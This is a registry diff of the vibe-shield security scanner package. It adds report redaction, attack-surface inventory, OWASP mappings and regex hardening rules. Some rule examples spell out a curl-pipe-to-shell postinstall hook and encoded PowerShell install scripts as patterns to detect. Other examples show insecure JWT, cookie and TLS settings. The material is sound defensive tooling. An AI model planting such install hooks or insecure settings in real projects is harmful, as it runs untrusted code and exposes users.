@vibefoundry/vibe-shield 1.1.1 → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +31 -11
- package/SKILL.md +26 -93
- package/dist/bin/vibe-shield.d.ts +1 -1
- package/dist/bin/vibe-shield.js +38 -11
- package/dist/src/init/scaffold.d.ts +1 -1
- package/dist/src/init/scaffold.js +26 -93
- package/dist/src/mcp/server.js +5 -1
- package/dist/src/mcp-guard/skill-auditor.js +11 -3
- package/dist/src/reporter/console-reporter.js +14 -0
- package/dist/src/reporter/executive.d.ts +4 -0
- package/dist/src/reporter/executive.js +58 -0
- package/dist/src/reporter/formatters.d.ts +1 -1
- package/dist/src/reporter/formatters.js +10 -3
- package/dist/src/reporter/patch-prompt-writer.js +3 -3
- package/dist/src/scanner/attack-surface.d.ts +4 -0
- package/dist/src/scanner/attack-surface.js +50 -0
- package/dist/src/scanner/engine.d.ts +2 -3
- package/dist/src/scanner/engine.js +21 -39
- package/dist/src/scanner/mappings.d.ts +17 -0
- package/dist/src/scanner/mappings.js +39 -0
- package/dist/src/scanner/redact.d.ts +1 -0
- package/dist/src/scanner/redact.js +12 -0
- package/dist/src/scanner/rules/hardening.d.ts +5 -0
- package/dist/src/scanner/rules/hardening.js +116 -0
- package/dist/src/scanner/rules/helpers.js +2 -0
- package/dist/src/scanner/rules/index.js +6 -0
- package/dist/src/scanner/rules/response-hardening.d.ts +2 -0
- package/dist/src/scanner/rules/response-hardening.js +120 -0
- package/dist/src/scanner/rules/secret-entropy.js +0 -2
- package/dist/src/scanner/types.d.ts +33 -1
- package/dist/src/scanner/types.js +6 -2
- package/dist/src/scanner/version.d.ts +2 -0
- package/dist/src/scanner/version.js +69 -0
- package/dist/src/secrets/patterns.js +40 -0
- package/package.json +99 -99
|
@@ -47,14 +47,13 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
47
47
|
};
|
|
48
48
|
})();
|
|
49
49
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
50
|
-
exports.hasFindingsAtOrAbove = exports.contentHash = exports.CACHE_VERSION = exports.CACHE_FILE_NAME = exports.isDocPath = exports.isTestPath = exports.DEFAULT_CONCURRENCY = exports.MAX_FILE_SIZE_BYTES = exports.BINARY_EXTENSIONS = exports.DEFAULT_IGNORED_DIRS = void 0;
|
|
50
|
+
exports.hasFindingsAtOrAbove = exports.packageVersion = exports.contentHash = exports.CACHE_VERSION = exports.CACHE_FILE_NAME = exports.isDocPath = exports.isTestPath = exports.DEFAULT_CONCURRENCY = exports.MAX_FILE_SIZE_BYTES = exports.BINARY_EXTENSIONS = exports.DEFAULT_IGNORED_DIRS = void 0;
|
|
51
51
|
exports.discoverFiles = discoverFiles;
|
|
52
52
|
exports.parseSuppressions = parseSuppressions;
|
|
53
53
|
exports.suppressionFor = suppressionFor;
|
|
54
54
|
exports.applySuppressions = applySuppressions;
|
|
55
55
|
exports.scoreFindings = scoreFindings;
|
|
56
56
|
exports.runRulesOnFile = runRulesOnFile;
|
|
57
|
-
exports.packageVersion = packageVersion;
|
|
58
57
|
exports.scanProject = scanProject;
|
|
59
58
|
exports.dedupe = dedupe;
|
|
60
59
|
exports.gitTrackedPaths = gitTrackedPaths;
|
|
@@ -63,6 +62,9 @@ const node_crypto_1 = require("node:crypto");
|
|
|
63
62
|
const node_child_process_1 = require("node:child_process");
|
|
64
63
|
const path = __importStar(require("node:path"));
|
|
65
64
|
const context_1 = require("./context");
|
|
65
|
+
const version_1 = require("./version");
|
|
66
|
+
const redact_1 = require("./redact");
|
|
67
|
+
const attack_surface_1 = require("./attack-surface");
|
|
66
68
|
const gitignore_1 = require("./gitignore");
|
|
67
69
|
const rules_1 = require("./rules");
|
|
68
70
|
const types_1 = require("./types");
|
|
@@ -410,7 +412,7 @@ function scoreFindings(findings) {
|
|
|
410
412
|
/* Cache */
|
|
411
413
|
/* -------------------------------------------------------------------------- */
|
|
412
414
|
exports.CACHE_FILE_NAME = '.vibe-shield-cache.json';
|
|
413
|
-
exports.CACHE_VERSION =
|
|
415
|
+
exports.CACHE_VERSION = 2;
|
|
414
416
|
/** Content hash used as the cache key for one file. */
|
|
415
417
|
const contentHash = (content) => (0, node_crypto_1.createHash)('sha1').update(content).digest('hex').slice(0, 20);
|
|
416
418
|
exports.contentHash = contentHash;
|
|
@@ -482,7 +484,7 @@ function toFindings(ctx, rule, hits) {
|
|
|
482
484
|
const findings = [];
|
|
483
485
|
for (const hit of hits) {
|
|
484
486
|
const located = hit.offset !== undefined ? ctx.locate(hit.offset) : { line: hit.line ?? 1, column: hit.column ?? 1 };
|
|
485
|
-
const snippet = ctx.lineText(located.line).trim().slice(0, 200);
|
|
487
|
+
const snippet = ['VSB-INFRA-003', 'VSB-AUTH-012'].includes(rule.id) ? '[secret value redacted]' : (0, redact_1.redactReportText)(ctx.lineText(located.line).trim()).slice(0, 200);
|
|
486
488
|
findings.push({
|
|
487
489
|
ruleId: rule.id,
|
|
488
490
|
slug: rule.slug,
|
|
@@ -491,12 +493,14 @@ function toFindings(ctx, rule, hits) {
|
|
|
491
493
|
severity: hit.severity ?? rule.severity,
|
|
492
494
|
confidence: hit.confidence ?? rule.confidence,
|
|
493
495
|
cwe: rule.cwe,
|
|
496
|
+
owasp: rule.owasp,
|
|
494
497
|
filePath: ctx.relativePath,
|
|
498
|
+
file: ctx.relativePath,
|
|
495
499
|
absolutePath: ctx.absolutePath,
|
|
496
500
|
line: located.line,
|
|
497
501
|
column: located.column,
|
|
498
502
|
snippet,
|
|
499
|
-
matched: hit.matched ?? snippet,
|
|
503
|
+
matched: ['VSB-INFRA-003', 'VSB-AUTH-012'].includes(rule.id) ? '[secret value redacted]' : (0, redact_1.redactReportText)(hit.matched ?? snippet),
|
|
500
504
|
message: hit.message ?? rule.description,
|
|
501
505
|
remediation: rule.remediate ? rule.remediate(ctx, hit) : rule.remediation,
|
|
502
506
|
insecureExample: rule.insecureExample,
|
|
@@ -510,37 +514,8 @@ function toFindings(ctx, rule, hits) {
|
|
|
510
514
|
/* -------------------------------------------------------------------------- */
|
|
511
515
|
/* Main scan */
|
|
512
516
|
/* -------------------------------------------------------------------------- */
|
|
513
|
-
|
|
514
|
-
|
|
515
|
-
/** Package version, resolved once from the nearest package.json. */
|
|
516
|
-
async function packageVersion() {
|
|
517
|
-
if (cachedVersion)
|
|
518
|
-
return cachedVersion;
|
|
519
|
-
let dir = __dirname;
|
|
520
|
-
for (let depth = 0; depth < 6; depth += 1) {
|
|
521
|
-
try {
|
|
522
|
-
const raw = await node_fs_1.promises.readFile(path.join(dir, 'package.json'), 'utf8');
|
|
523
|
-
const parsed = JSON.parse(raw);
|
|
524
|
-
// Match the scoped name *or* the legacy bare one, so an install made
|
|
525
|
-
// before the package was published under `@vibefoundry/` still resolves
|
|
526
|
-
// its own version instead of reporting the fallback.
|
|
527
|
-
const isThisPackage = parsed.name === '@vibefoundry/vibe-shield' || parsed.name === 'vibe-shield';
|
|
528
|
-
if (isThisPackage && parsed.version) {
|
|
529
|
-
cachedVersion = parsed.version;
|
|
530
|
-
return cachedVersion;
|
|
531
|
-
}
|
|
532
|
-
}
|
|
533
|
-
catch {
|
|
534
|
-
// Keep walking up.
|
|
535
|
-
}
|
|
536
|
-
const parent = path.dirname(dir);
|
|
537
|
-
if (parent === dir)
|
|
538
|
-
break;
|
|
539
|
-
dir = parent;
|
|
540
|
-
}
|
|
541
|
-
cachedVersion = VERSION;
|
|
542
|
-
return cachedVersion;
|
|
543
|
-
}
|
|
517
|
+
var version_2 = require("./version");
|
|
518
|
+
Object.defineProperty(exports, "packageVersion", { enumerable: true, get: function () { return version_2.packageVersion; } });
|
|
544
519
|
/**
|
|
545
520
|
* Scan a project. This is the one function the CLI, the tests and any embedding
|
|
546
521
|
* application call; everything else in this module is an implementation detail.
|
|
@@ -581,6 +556,7 @@ async function scanProject(options) {
|
|
|
581
556
|
};
|
|
582
557
|
const concurrency = Math.max(1, Math.min(256, options.concurrency ?? exports.DEFAULT_CONCURRENCY));
|
|
583
558
|
const findings = [];
|
|
559
|
+
const attackSurface = (0, attack_surface_1.emptyAttackSurface)();
|
|
584
560
|
let suppressedCount = 0;
|
|
585
561
|
let cacheHits = 0;
|
|
586
562
|
let bytesScanned = 0;
|
|
@@ -599,9 +575,11 @@ async function scanProject(options) {
|
|
|
599
575
|
catch {
|
|
600
576
|
return;
|
|
601
577
|
}
|
|
578
|
+
const ctx = (0, context_1.createFileContext)(file.absolutePath, rootDir, content, project);
|
|
579
|
+
(0, attack_surface_1.inventoryFile)(ctx, attackSurface);
|
|
602
580
|
const hash = (0, exports.contentHash)(content);
|
|
603
581
|
const cached = existing?.files[file.relativePath];
|
|
604
|
-
if (cached && cached.hash === hash && existing?.project === cache.project && existing?.rules === rules_1.RULES_FINGERPRINT) {
|
|
582
|
+
if (file.relativePath !== 'package.json' && cached && cached.hash === hash && existing?.project === cache.project && existing?.rules === rules_1.RULES_FINGERPRINT) {
|
|
605
583
|
cacheHits += 1;
|
|
606
584
|
filesScanned += 1;
|
|
607
585
|
bytesScanned += file.bytes;
|
|
@@ -610,7 +588,6 @@ async function scanProject(options) {
|
|
|
610
588
|
options.onFile?.(file.relativePath, (index += 1), discovered.files.length);
|
|
611
589
|
return;
|
|
612
590
|
}
|
|
613
|
-
const ctx = (0, context_1.createFileContext)(file.absolutePath, rootDir, content, project);
|
|
614
591
|
const applicable = rules.filter((rule) => (!rule.appliesTo || rule.appliesTo(ctx)) && !rule.skipFlags?.some((flag) => ctx.flags[flag] === true));
|
|
615
592
|
ruleInvocations += applicable.length;
|
|
616
593
|
const fileFindings = [];
|
|
@@ -650,6 +627,10 @@ async function scanProject(options) {
|
|
|
650
627
|
}
|
|
651
628
|
});
|
|
652
629
|
await Promise.all(workers);
|
|
630
|
+
(0, attack_surface_1.inventoryTables)(attackSurface, project, new Set(discovered.files.map(f => f.relativePath)));
|
|
631
|
+
attackSurface.routes.sort((a, b) => a.file.localeCompare(b.file) || a.line - b.line || a.method.localeCompare(b.method));
|
|
632
|
+
attackSurface.aiEntrypoints.sort((a, b) => a.file.localeCompare(b.file));
|
|
633
|
+
attackSurface.agentFiles.sort((a, b) => a.file.localeCompare(b.file));
|
|
653
634
|
const unique = dedupe(findings);
|
|
654
635
|
unique.sort((a, b) => types_1.SEVERITY_WEIGHT[b.severity] - types_1.SEVERITY_WEIGHT[a.severity] ||
|
|
655
636
|
a.filePath.localeCompare(b.filePath) ||
|
|
@@ -670,6 +651,7 @@ async function scanProject(options) {
|
|
|
670
651
|
return {
|
|
671
652
|
rootDir,
|
|
672
653
|
command: 'scan',
|
|
654
|
+
attackSurface,
|
|
673
655
|
findings: unique,
|
|
674
656
|
score,
|
|
675
657
|
stats: {
|
|
@@ -687,7 +669,7 @@ async function scanProject(options) {
|
|
|
687
669
|
scannedPaths: discovered.files.map((file) => file.relativePath),
|
|
688
670
|
startedAt: new Date(started).toISOString(),
|
|
689
671
|
finishedAt: new Date(finished).toISOString(),
|
|
690
|
-
version: await packageVersion(),
|
|
672
|
+
version: await (0, version_1.packageVersion)(),
|
|
691
673
|
ruleCount: rules.length,
|
|
692
674
|
suppressedCount,
|
|
693
675
|
notices,
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* OWASP Top 10:2025 associations. CWE-based entries follow the "List of
|
|
3
|
+
* Mapped CWEs" in the official 2025 category pages; contextual associations
|
|
4
|
+
* are explicitly labelled and require review. LLM associations are rule-level
|
|
5
|
+
* judgements, not a claim that every finding involves an LLM.
|
|
6
|
+
*/
|
|
7
|
+
export interface OwaspMapping {
|
|
8
|
+
id: string;
|
|
9
|
+
name: string;
|
|
10
|
+
basis: 'owasp-cwe' | 'contextual';
|
|
11
|
+
}
|
|
12
|
+
export interface OwaspMappings {
|
|
13
|
+
web: OwaspMapping | null;
|
|
14
|
+
llm: OwaspMapping[];
|
|
15
|
+
}
|
|
16
|
+
/** A null web mapping or empty LLM list means no applicable association was assigned. */
|
|
17
|
+
export declare function owaspMappings(ruleId: string, cweId: string): OwaspMappings;
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.owaspMappings = owaspMappings;
|
|
4
|
+
const names = {
|
|
5
|
+
A01: 'Broken Access Control', A02: 'Security Misconfiguration', A03: 'Software Supply Chain Failures',
|
|
6
|
+
A04: 'Cryptographic Failures', A05: 'Injection', A06: 'Insecure Design',
|
|
7
|
+
A07: 'Authentication Failures', A08: 'Software or Data Integrity Failures',
|
|
8
|
+
};
|
|
9
|
+
const webByCwe = {
|
|
10
|
+
'CWE-22': 'A01', 'CWE-200': 'A01', 'CWE-284': 'A01', 'CWE-352': 'A01', 'CWE-540': 'A01', 'CWE-601': 'A01',
|
|
11
|
+
'CWE-639': 'A01', 'CWE-732': 'A01', 'CWE-749': 'A01', 'CWE-862': 'A01', 'CWE-863': 'A01', 'CWE-918': 'A01', 'CWE-1275': 'A01',
|
|
12
|
+
'CWE-16': 'A02', 'CWE-526': 'A02', 'CWE-614': 'A02', 'CWE-942': 'A02', 'CWE-1004': 'A02',
|
|
13
|
+
'CWE-1104': 'A03', 'CWE-321': 'A04', 'CWE-327': 'A04', 'CWE-347': 'A04',
|
|
14
|
+
'CWE-74': 'A05', 'CWE-77': 'A05', 'CWE-78': 'A05', 'CWE-79': 'A05', 'CWE-89': 'A05', 'CWE-94': 'A05',
|
|
15
|
+
'CWE-434': 'A06', 'CWE-693': 'A06', 'CWE-287': 'A07', 'CWE-306': 'A07', 'CWE-798': 'A07', 'CWE-1392': 'A07',
|
|
16
|
+
'CWE-345': 'A08', 'CWE-502': 'A08', 'CWE-829': 'A08',
|
|
17
|
+
};
|
|
18
|
+
const contextualWeb = { 'CWE-250': 'A01', 'CWE-770': 'A06' };
|
|
19
|
+
const llmNames = {
|
|
20
|
+
LLM01: 'Prompt Injection', LLM02: 'Sensitive Information Disclosure', LLM03: 'Supply Chain',
|
|
21
|
+
LLM05: 'Improper Output Handling', LLM06: 'Excessive Agency', LLM10: 'Unbounded Consumption',
|
|
22
|
+
};
|
|
23
|
+
const llmByRule = {
|
|
24
|
+
'VSB-AI-002': ['LLM05', 'LLM06'], 'VSB-AI-003': ['LLM05'], 'VSB-AI-004': ['LLM01'],
|
|
25
|
+
'VSB-AI-008': ['LLM05'], 'VSB-AI-014': ['LLM10'],
|
|
26
|
+
'VSB-AGENT-001': ['LLM01'], 'VSB-AGENT-002': ['LLM01', 'LLM02'], 'VSB-AGENT-003': ['LLM01', 'LLM02'],
|
|
27
|
+
'VSB-AGENT-004': ['LLM03'], 'VSB-AGENT-005': ['LLM02'], 'VSB-AGENT-006': ['LLM01'],
|
|
28
|
+
'VSB-AGENT-007': ['LLM06'], 'VSB-AGENT-008': ['LLM05', 'LLM06'], 'VSB-AGENT-009': ['LLM01', 'LLM03'],
|
|
29
|
+
'VSB-AGENT-010': ['LLM06'], 'VSB-AGENT-011': ['LLM02'], 'VSB-AGENT-012': ['LLM06'],
|
|
30
|
+
};
|
|
31
|
+
/** A null web mapping or empty LLM list means no applicable association was assigned. */
|
|
32
|
+
function owaspMappings(ruleId, cweId) {
|
|
33
|
+
const official = webByCwe[cweId];
|
|
34
|
+
const webId = official ?? contextualWeb[cweId];
|
|
35
|
+
return {
|
|
36
|
+
web: webId ? { id: `${webId}:2025`, name: names[webId], basis: official ? 'owasp-cwe' : 'contextual' } : null,
|
|
37
|
+
llm: (llmByRule[ruleId] ?? []).map(id => ({ id: `${id}:2025`, name: llmNames[id], basis: 'contextual' })),
|
|
38
|
+
};
|
|
39
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare function redactReportText(text: string): string;
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.redactReportText = redactReportText;
|
|
4
|
+
/** Best-effort removal of recognized credentials from report text. */
|
|
5
|
+
const patterns_1 = require("../secrets/patterns");
|
|
6
|
+
function redactReportText(text) {
|
|
7
|
+
let output = text;
|
|
8
|
+
for (const match of (0, patterns_1.findSecrets)(text)) {
|
|
9
|
+
output = output.split(match.value).join(match.display);
|
|
10
|
+
}
|
|
11
|
+
return output;
|
|
12
|
+
}
|
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
import type { Rule } from '../types';
|
|
2
|
+
export declare const HARDENING_RULES: readonly Rule[];
|
|
3
|
+
export declare const MISSING_LOCKFILE_RULE: Rule;
|
|
4
|
+
/** Docker defaults to root when the final stage never selects a runtime user. */
|
|
5
|
+
export declare const DOCKER_DEFAULT_ROOT_RULE: Rule;
|
|
@@ -0,0 +1,116 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.DOCKER_DEFAULT_ROOT_RULE = exports.MISSING_LOCKFILE_RULE = exports.HARDENING_RULES = void 0;
|
|
37
|
+
/** Focused, local syntax checks. These are indicators, not data-flow proofs. */
|
|
38
|
+
const node_fs_1 = require("node:fs");
|
|
39
|
+
const path = __importStar(require("node:path"));
|
|
40
|
+
const helpers_1 = require("./helpers");
|
|
41
|
+
const shared_1 = require("./shared");
|
|
42
|
+
const code = (c) => /\.(?:[cm]?[jt]sx?|vue|svelte)$/i.test(c.fileName) && !c.flags.isDocumentation && !c.flags.isAgentInstructionFile && !c.flags.isTestFile;
|
|
43
|
+
const cookieCode = (c) => code(c) && /\bcookie/i.test(c.code);
|
|
44
|
+
const manifest = (c) => c.fileName === 'package.json' && !c.flags.isTestFile;
|
|
45
|
+
const docker = (c) => c.language === 'dockerfile' && !c.flags.isTestFile;
|
|
46
|
+
const config = (c) => /^(?:next|vite)\.config\.[cm]?[jt]s$/i.test(c.fileName);
|
|
47
|
+
const specs = [
|
|
48
|
+
{ id: 'VSB-CLIENT-008', title: 'Production source maps enabled', category: 'client-exposure', pattern: /\b(?:productionBrowserSourceMaps|sourcemap)\s*:\s*true\b/g, example: 'productionBrowserSourceMaps: true', fix: 'Disable production source maps or upload them privately to a restricted error-monitoring service.', cwe: shared_1.CWES.exposureOfSecrets, scope: config },
|
|
49
|
+
{ id: 'VSB-AUTH-010', title: 'JWT accepts the none algorithm', category: 'unguarded-routes', pattern: /\balgorithms\s*:\s*\[[^\]]*['"]none['"]/gi, example: "algorithms: ['none']", fix: 'Require a fixed allowlist of strong signed algorithms and verify issuer, audience and expiry.', cwe: shared_1.CWES.improperCertValidation, scope: code },
|
|
50
|
+
{ id: 'VSB-AUTH-011', title: 'JWT decoded without a verification call', category: 'unguarded-routes', pattern: /\bjwt\.decode\s*\(/g, example: 'jwt.decode(token)', fix: 'Verify the signature, allowed algorithm, issuer, audience and expiry before trusting claims.', cwe: shared_1.CWES.improperCertValidation, scope: c => code(c) && !/\bjwt\.verify\s*\(/.test(c.code) },
|
|
51
|
+
{ id: 'VSB-INFRA-001', title: 'Wildcard cross-origin response', category: 'infrastructure', pattern: /['"]Access-Control-Allow-Origin['"]\s*[:,]\s*['"]\*['"]/gi, example: "'Access-Control-Allow-Origin': '*'", fix: 'Restrict origins to a reviewed allowlist for sensitive responses.', cwe: shared_1.CWES.browserSecurity, scope: code },
|
|
52
|
+
{ id: 'VSB-INFRA-002', title: 'Container explicitly runs as root', category: 'infrastructure', pattern: /^\s*USER\s+(?:root|0)(?:\s|$)/gim, example: 'USER root', fix: 'Use a dedicated unprivileged runtime user and grant only required filesystem access.', cwe: shared_1.CWES.privilegeEscalation, scope: docker },
|
|
53
|
+
{ id: 'VSB-INFRA-003', title: 'Secret named in container environment', category: 'infrastructure', pattern: /^\s*(?:ENV|ARG)\s+\w*(?:PASSWORD|SECRET|TOKEN|PRIVATE_KEY)\w*\s*[= ]\s*[^\s$#]+/gim, example: 'ENV API_SECRET=example', fix: 'Use runtime secret injection or build secret mounts; rotate any baked credentials.', cwe: shared_1.CWES.hardcodedCredentials, scope: docker },
|
|
54
|
+
{ id: 'VSB-INFRA-004', title: 'Redirect directly uses next parameter', category: 'infrastructure', pattern: /\bredirect\s*\(\s*(?:\w+\.)?searchParams\.get\s*\(\s*['"](?:next|redirect|url)['"]\s*\)/gi, example: "redirect(searchParams.get('next'))", fix: 'Allow only validated relative paths or a strict same-origin allowlist before redirecting.', cwe: shared_1.CWES.openRedirect, scope: code },
|
|
55
|
+
{ id: 'VSB-DEPS-001', title: 'Wildcard package dependency', category: 'dependencies', pattern: /"[^"\n]+"\s*:\s*"\*"/g, example: '"library": "*"', fix: 'Pin an appropriate dependency version and commit the lockfile.', cwe: shared_1.CWES.untrustedSearchPath, scope: manifest },
|
|
56
|
+
{ id: 'VSB-DEPS-002', title: 'Latest tag used for package dependency', category: 'dependencies', pattern: /"[^"\n]+"\s*:\s*"latest"/gi, example: '"library": "latest"', fix: 'Use a reviewed version and commit a lockfile.', cwe: shared_1.CWES.untrustedSearchPath, scope: manifest },
|
|
57
|
+
{ id: 'VSB-DEPS-003', title: 'Remote package dependency', category: 'dependencies', pattern: /"[^"\n]+"\s*:\s*"(?:git\+|git:|https?:\/\/)[^"\n]+"/gi, example: '"library": "https://example.invalid/library.tgz"', fix: 'Review the origin and integrity, prefer a trusted registry and lock immutable versions.', cwe: shared_1.CWES.dependencyConfusion, scope: manifest },
|
|
58
|
+
{ id: 'VSB-DEPS-004', title: 'Remote shell execution in install script', category: 'dependencies', pattern: /"(?:preinstall|install|postinstall)"\s*:\s*"[^"\n]*(?:curl|wget)[^"\n]*\|\s*(?:ba)?sh\b/gi, example: '"postinstall": "curl example.invalid | sh"', fix: 'Remove remote shell execution; review and pin any required build tooling.', cwe: shared_1.CWES.commandInjection, scope: manifest },
|
|
59
|
+
{ id: 'VSB-DEPS-005', title: 'Encoded PowerShell in install script', category: 'dependencies', pattern: /"(?:preinstall|install|postinstall)"\s*:\s*"[^"\n]*powershell(?:\.exe)?\s+-(?:enc|encodedcommand)\b/gi, example: '"postinstall": "powershell -enc ..."', fix: 'Remove encoded lifecycle scripts and inspect their decoded content before trusting the package.', cwe: shared_1.CWES.commandInjection, scope: manifest },
|
|
60
|
+
{ id: 'VSB-CRYPTO-001', title: 'Weak password digest', category: 'secret-entropy', pattern: /\b(?:createHash|hashlib\.(?:new))\s*\(\s*['"](?:md5|sha1)['"]\s*\)[^\n]*(?:password|passwd|pwd)/gi, example: "createHash('sha1').update(password)", fix: 'Use a modern password hashing algorithm such as Argon2id with a unique salt.', cwe: shared_1.CWES.weakCrypto, scope: code },
|
|
61
|
+
{ id: 'VSB-CRYPTO-002', title: 'Predictable security token generated with Math.random', category: 'secret-entropy', pattern: /(?:token|otp|csrf|reset|nonce)\w*\s*=\s*[^\n;]*\bMath\.random\s*\(/gi, example: 'const token = Math.random()', fix: 'Use a cryptographically secure random source such as crypto.randomBytes or crypto.randomUUID.', cwe: shared_1.CWES.weakCrypto, scope: code },
|
|
62
|
+
{ id: 'VSB-CLIENT-009', title: 'Inline production source maps enabled', category: 'client-exposure', pattern: /\bsourcemap\s*:\s*['"]inline['"]/gi, example: "sourcemap: 'inline'", fix: 'Disable public source maps for production builds or store them privately.', cwe: shared_1.CWES.exposureOfSecrets, scope: config },
|
|
63
|
+
{ id: 'VSB-AUTH-012', title: 'JWT signed with a literal secret', category: 'unguarded-routes', pattern: /\bjwt\.sign\s*\([^,\n]+,\s*['"][^'"]{4,}['"]/g, example: "jwt.sign(payload, 'literal-secret')", fix: 'Use a high-entropy secret from a secret manager, rotate exposed keys and specify the expected signing algorithm.', cwe: shared_1.CWES.hardcodedCredentials, scope: code },
|
|
64
|
+
{ id: 'VSB-INFRA-005', title: 'Cookie explicitly disables HttpOnly', category: 'infrastructure', pattern: /\bhttpOnly\s*:\s*false\b/gi, example: 'httpOnly: false', fix: 'Set httpOnly on session cookies so browser scripts cannot read them.', cwe: shared_1.CWES.exposureOfSecrets, scope: cookieCode },
|
|
65
|
+
{ id: 'VSB-INFRA-006', title: 'Cookie explicitly disables Secure', category: 'infrastructure', pattern: /\bsecure\s*:\s*false\b/gi, example: 'secure: false', fix: 'Set secure on sensitive cookies in production and serve exclusively over HTTPS.', cwe: shared_1.CWES.exposureOfSecrets, scope: cookieCode },
|
|
66
|
+
{ id: 'VSB-INFRA-007', title: 'Cookie explicitly disables SameSite', category: 'infrastructure', pattern: /\bsameSite\s*:\s*false\b/gi, example: 'sameSite: false', fix: 'Use SameSite Lax or Strict where compatible, and use CSRF protection for state-changing requests.', cwe: shared_1.CWES.csrf, scope: cookieCode },
|
|
67
|
+
{ id: 'VSB-INFRA-008', title: 'CORS reflects origins while allowing credentials', category: 'infrastructure', pattern: /\borigin\s*:\s*true\b/g, example: 'cors({ origin: true, credentials: true })', fix: 'Use an explicit trusted origin allowlist and verify preflight and credential handling.', cwe: shared_1.CWES.browserSecurity, scope: c => code(c) && /\bcredentials\s*:\s*true\b/.test(c.code) },
|
|
68
|
+
{ id: 'VSB-CRYPTO-003', title: 'ECB mode encryption', category: 'secret-entropy', pattern: /\b(?:createCipheriv|createCipher)\s*\(\s*['"][^'"]*ecb['"]/gi, example: "createCipheriv('aes-256-ecb', key, null)", fix: 'Use an authenticated encryption mode such as AES-GCM with a unique nonce.', cwe: shared_1.CWES.weakCrypto, scope: code },
|
|
69
|
+
{ id: 'VSB-CRYPTO-004', title: 'TLS certificate validation disabled', category: 'secret-entropy', pattern: /\brejectUnauthorized\s*:\s*false\b/g, example: 'rejectUnauthorized: false', fix: 'Enable certificate validation and configure the correct trusted CA for the target.', cwe: shared_1.CWES.improperCertValidation, scope: code },
|
|
70
|
+
{ id: 'VSB-CRYPTO-005', title: 'TLS verification disabled by environment', category: 'secret-entropy', pattern: /\bNODE_TLS_REJECT_UNAUTHORIZED\s*=\s*['"]0['"]/g, example: "process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'", fix: 'Remove the override and configure a trusted CA instead of disabling certificate verification.', cwe: shared_1.CWES.improperCertValidation, scope: code },
|
|
71
|
+
];
|
|
72
|
+
exports.HARDENING_RULES = specs.map(s => (0, helpers_1.defineRule)({
|
|
73
|
+
id: s.id, slug: s.title.toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/-$/, ''), title: s.title,
|
|
74
|
+
category: s.category, severity: s.id === 'VSB-AUTH-010' ? 'high' : 'medium', confidence: 'medium', cwe: s.cwe,
|
|
75
|
+
description: `${s.title}. Review the surrounding configuration and actual exposure.`,
|
|
76
|
+
insecureExample: s.example, secureExample: s.fix, remediation: [s.fix, 'Review the finding in context and add a regression test for the intended security boundary.'], references: [s.cwe.url],
|
|
77
|
+
appliesTo: s.scope, detect: ctx => {
|
|
78
|
+
if (!['VSB-DEPS-001', 'VSB-DEPS-002', 'VSB-DEPS-003'].includes(s.id))
|
|
79
|
+
return (0, helpers_1.regexHits)(ctx.code, s.pattern);
|
|
80
|
+
try {
|
|
81
|
+
const pkg = JSON.parse(ctx.content);
|
|
82
|
+
const values = ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies'].flatMap(key => Object.entries((pkg[key] ?? {})));
|
|
83
|
+
return (0, helpers_1.regexHits)(ctx.content, s.pattern, m => {
|
|
84
|
+
const pair = /^"([^"]+)"\s*:\s*"([^"]+)"/.exec(m[0]);
|
|
85
|
+
return pair && values.some(([key, value]) => key === pair[1] && value === pair[2]) ? {} : null;
|
|
86
|
+
});
|
|
87
|
+
}
|
|
88
|
+
catch {
|
|
89
|
+
return [];
|
|
90
|
+
}
|
|
91
|
+
},
|
|
92
|
+
}));
|
|
93
|
+
exports.MISSING_LOCKFILE_RULE = (0, helpers_1.defineRule)({
|
|
94
|
+
id: 'VSB-DEPS-006', slug: 'missing-node-lockfile', title: 'Node project has no lockfile', category: 'dependencies',
|
|
95
|
+
